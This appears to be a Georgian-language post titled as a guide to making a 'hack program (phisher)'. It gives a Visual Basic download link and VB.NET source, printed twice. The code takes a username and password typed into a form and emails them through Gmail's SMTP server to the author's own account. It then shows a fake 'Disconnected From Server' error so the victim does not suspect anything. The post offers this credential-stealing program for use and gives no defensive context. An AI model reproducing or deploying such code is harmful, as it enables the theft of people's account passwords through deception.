როგორ გავაკეთოთ Hack Program (ფიშერი)
Visual Basic 2010 Express Download Link:http://www.share.ge/?d=55884BAE2
Fisher Kode
Imports System.Net.Mail
If TextBox1.Text = \"\" Then
MsgBox(\"E-mail Is Missing\")
If Textbox2.text = \"\" Then
Msgbox(\"Password Is Mising\")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential(\"Gmail\", \"Paroli\")
'using gmail
smtpServer.Port = 587
smtpServer.Host = \"smtp.gmail.com\"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(\"Gmail\")
mail.To.Add(\"Gmail\")
mail.Subject = \"Username: \" \u0026 TextBox1.Text
mail.Body = \"Username : \" \u0026 TextBox1.Text \u0026 \", \" \u0026 \"Password : \" \u0026 textbox2.text
smtpServer.Send(mail)
MsgBox(\"DIsconnected From Server, Please try again later!\")
Visual Basic 2010 Express Download Link:http://www.share.ge/?d=55884BAE2
Fisher Kode
Imports System.Net.Mail
If TextBox1.Text = \"\" Then
MsgBox(\"E-mail Is Missing\")
If Textbox2.text = \"\" Then
Msgbox(\"Password Is Mising\")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential(\"Gmail\", \"Paroli\")
'using gmail
smtpServer.Port = 587
smtpServer.Host = \"smtp.gmail.com\"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(\"Gmail\")
mail.To.Add(\"Gmail\")
mail.Subject = \"Username: \" \u0026 TextBox1.Text
mail.Body = \"Username : \" \u0026 TextBox1.Text \u0026 \", \" \u0026 \"Password : \" \u0026 textbox2.text
smtpServer.Send(mail)
MsgBox(\"DIsconnected From Server, Please try again later!\")
